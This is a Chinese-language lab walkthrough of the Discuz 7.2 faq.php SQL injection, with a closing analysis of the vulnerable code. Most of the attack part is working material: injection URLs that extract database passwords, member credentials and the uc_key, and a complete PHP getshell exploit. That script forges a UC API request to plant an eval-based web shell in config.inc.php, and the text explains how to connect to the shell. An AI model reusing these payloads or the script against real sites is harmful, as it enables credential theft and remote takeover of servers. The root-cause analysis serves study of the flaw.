一、靶场信息
Discuz <= 7.2 SQL faq.php 注入漏洞
地址：https://www.mozhe.cn/bug/detail/dS85cFFTQnl1cUZHa3BsTklJd25adz09bW96aGUmozhe
背景介绍
某人搭建社区网站，邀请“墨者”安全工程师测试网站的安全性。
实训目标
1、了解Discuz!；
2、了解此漏洞形成的原因；
3、掌握此漏洞的利用方式；
解题方向
根据社区页面获取信息，找到利用漏洞。
tips:网上有很多exp可以直接拿shell,本文针对sql注入点进行分析
本文末段有漏洞原理分析
二、解题
进入靶场
登入入口尝试弱口令
发现无法爆破，接着查看注册登录
登录后修改图像，发表帖子的上传功能等均无法使用
毫无进展
发现右下角CMS版本
根据cms版本，查询到faq.php页面存在sql注入漏洞(下文附带漏洞源码及原理)
构造POC
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)%23存在sql注入
开始构造EXP
(1)获取mysql用户信息
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
(2)获取数据库版本信息
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
(3)获取数据库信息
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(database(),floor(rand(0)*2),0x3a,concat(user()) )x from information_schema.tables group by x)a)%23
(4)获取数据库用户名和密码
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(user,0x3a,password,0x3a) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
密码MD5解密为:root
(5)获取用户名、email、密码和salt信息
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques) from cdb_uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
(6)获取uc_key
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
(7)对指定uid获取密码
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat((select concat(username,0x3a,email,0x3a,password,0x3a,salt) from cdb_uc_members where uid=1 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
此题admin密码为强口令,无法破译
借助exp拿shell
exp源码(网上很多都用不了了,这里找了个php版本进行修改):
<?php
error_reporting(0);
set_time_limit(3000);
$host=$argv[1];
$path=$argv[2];
$js=$argv[3];
$timestamp = time()+10*3600;
$table="cdb_";//表名
if ($argc < 2) {
print_r('
********************************************************
* Discuz faq.php SQL Injection Exp *
* ---------By：Www.i0day.com----------- *
* Usage: php '.$argv[0].' url 1 *
* -------------------------------------- *
* js选项: 1.GetShell 2.取密码 3.查表前缀 *
* *
* php '.$argv[0].' Www.i0day.com / 1 *
* php '.$argv[0].' Www.i0day.com /dz72/ 1 *
* *
* *
********************************************************
');
exit;
}
if($js==1){
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a3a,(select%20length(authkey)%20from%20".$table."uc_applications%20limit%200,1),0x3a3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql,$js);
if(strpos($resp,"::")==-1){
echo '表前缀可能不是默认cdb_ 请先查看表前缀！';
}else{
preg_match("/::(.*)::/",$resp,$matches);
$lenght=intval($matches[1]);
if($lenght){
if($lenght<=124){
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,1,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql,$js);
if(strpos($resp,"1\^")!=-1){
preg_match("/1\^(.*)\'/U",$resp,$key1);
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20substr(authkey,63,62)%20from%20".$table."uc_applications%20limit%200,1))x%20from%20information_schema.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql,$js);
preg_match("/1\^(.*)\'/U",$resp,$key2);
$key=$key1[1].$key2[1];
$code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $key));
$cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">bbs.49you.com\');eval($_POST[i0day]);//</item>
</root>';
$cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="UC_API">bbs.49you.com</item>
</root>';
$html1 = send($cmd1);
$res1=substr($html1,-1);
$html2 = send($cmd2);
$res2=substr($html1,-1);
if($res1=='1'&&$res2=='1'){
echo "shell地址：http://".$host.$path.'config.inc.php pass:i0day';
}
}else{
echo '获取失败';
}
}
}
}
}elseif($js==2){
$sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";
$resp = sendpack($host,$path,$sql,$js);
if(strpos($resp,"\^\^\^")!=-1){
preg_match("/\^\^\^(.*)\^/U",$resp,$password);
echo '密码：'.$password[1];
}else{
echo '表前缀可能不是默认cdb_ 请先查看表前缀！';
}
}elseif($js==3){
$sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";
$resp = sendpack($host,$path,$sql,$js);
if(strpos($resp,"1\^")!=-1){
preg_match("/1\^(.*)\^/U",$resp,$t);
if(strpos($t[1],"cdb_")!=-1){
echo "表名为：".hex2str($t[1])." 表前缀为默认cdb_ 无需修改";
}else{
echo "表名：".hex2str($t[1]).' 不是默认表名cdb_请自行修改代码中的$table';
}
}else{
echo "查看表前缀失败,Sorry";
}
}else{
echo "未选择脚本功能";
}
function sendpack($host,$path,$sql,$js){
$data = "GET ".$path."/faq.php?".$sql." HTTP/1.1\r\n";
$data.="Host:".$host."\r\n";
$data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0\r\n";
$data.="Connection: close\r\n\r\n";
//$data.=$html."\r\n";
$ock=fsockopen($host,80);
if(!$ock){
echo "No response from ".$host;
die();
}
fwrite($ock,$data);
$resp = '';
while (!feof($ock)) {
$resp.=fread($ock, 1024);
}
return $resp;
}
function send($cmd){
global $host,$code,$path;
$message = "POST ".$path."/api/uc.php?code=".$code." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Referer: ".$host."\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: ".$host."\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;
//var_dump($message);
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = '';
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : 't9V5qfdeJ9z1M2v6z4Q33cs8gcBbO6P8V78952oeE070E4Ndkee7cbm718tf63');//在此使用sql语句获取你的uc_key进行替换
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
function hex2str($hex){
$str = '';
$arr = str_split($hex, 2);
foreach($arr as $bit){
$str .= chr(hexdec($bit));
}
return $str;
}
?>使用方法:php dz7-2getshell.php 219.153.49.228:45785 / 1
getshell选项无回显,shell储存在网站根目录的config.inc.php
蚁剑连接shell木马,密码i0day
系统根目录下找到key
三、漏洞原理分析
1.漏洞关键代码（148行）
} elseif($action == 'grouppermission') {
...
...
ksort($gids); //对$gids数组的键名进行降序排序
$groupids = array(); //定义数组$groupids
foreach($gids as $row) { //遍历
$groupids[] = $row[0]; //第一个值赋给$groupids
}
$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");定义数组groupids，
进入for循环，然后把$gids中第一个数组赋值给$groupids，看到这里的$row[0]，当遇到数组时，取第一个数组，当遇到字符串时，取字符串的第一个字符。
discuz在全局会对GET数组进行addslashes转义，也就是说会将 ‘ 转义成 \’，所以，如果我们的传入的参数是：gids[1]= ‘ 的话， 会被转义成$gids[1]=\’，而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符，也就是 \ ，把转义符号取出来了
这时候$row[0]取出来的值是反斜杠 \
而在190行末尾,对$groupids用implodeids函数进行了处理
imlodeids函数（/include/global.func.php中 672行）,源码:
function implodeids($array) {
if(!empty($array)) {
return "'".implode("','", is_array($array) ? $array : array($array))."'";
} else {
return '';
}
}如果数组不为空就将其用 ‘,’ 分隔开，就例如传入1234返回’1′,’2′,’3′,’4′
但前面取出了一个 \ 转义符号就变成了
’ 1 ′,’ \ ’,’ 3 ′,’ 4 ′ == ’ 1 ′,’ \ ’,’ 3 ′,’ 4 ′
第4个单引号就被转义了，第3个单引号就与第5个单引号闭合了，那么 “3” 就逃逸出了单引号的限制，产生了注入。
faq.php?gids[x]=’&gids[x+1][uid]=sql 如此构造就可以突破安全处理
2.POC分析
知道了产生原理,那可以分析一下POC的原理
/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#我们的poc是gids[99]=’，由于discuz7.2的全局变量会对’进行自动过滤，也就是添加反斜杠 \’
这时候$row[0]取出来的值是反斜杠\
第二个参数取出来的是
) and (select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema .tables group by x)a)#
implodeids()函数进行切割，并加上’,’ 这时候返回的值是:
‘7’,’\’,’) and (select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema .tables group by x)a)#’
我们可以看到反斜杠干掉了一个单引号，剩下另一个单引号被#号干掉，这时候就能跳出来执行sql语句了，对于’\’,’ 由于反斜杠干掉了一个单引号，所以他被认为是个字符串。
代入源码,实际上的查询语句是这样的：
SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (‘7′,’\’,’) and (select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema .tables group by x)a)#’)
语句闭合,即可执行and后的sql语句
exp脚本源码第150行需要对uc_key进行替换